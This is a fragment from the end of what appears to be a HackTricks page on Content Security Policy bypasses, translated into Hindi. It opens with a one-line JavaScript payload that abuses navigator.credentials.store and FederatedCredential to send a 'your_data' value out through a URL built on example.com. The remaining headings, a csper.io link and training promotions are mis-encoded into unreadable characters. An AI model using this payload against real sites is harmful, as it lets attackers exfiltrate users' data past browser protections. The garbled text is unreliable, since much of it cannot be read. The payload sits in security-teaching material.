navigator.credentials.store( new FederatedCredential({ id:"satoki", name:"satoki", provider:"https:"+your_data+"example.com", iconURL:"https:"+your_data+"example.com" }) )

CSP рдиреАрддрд┐рдпреЛрдВ рдХреА рдСрдирд▓рд╛рдЗрди рдЬрд╛рдВрдЪ

CSP рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдирд╛рдирд╛

https://csper.io/docs/generating-content-security-policy

рд╕рдВрджрд░реНрдн

тАЛ

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ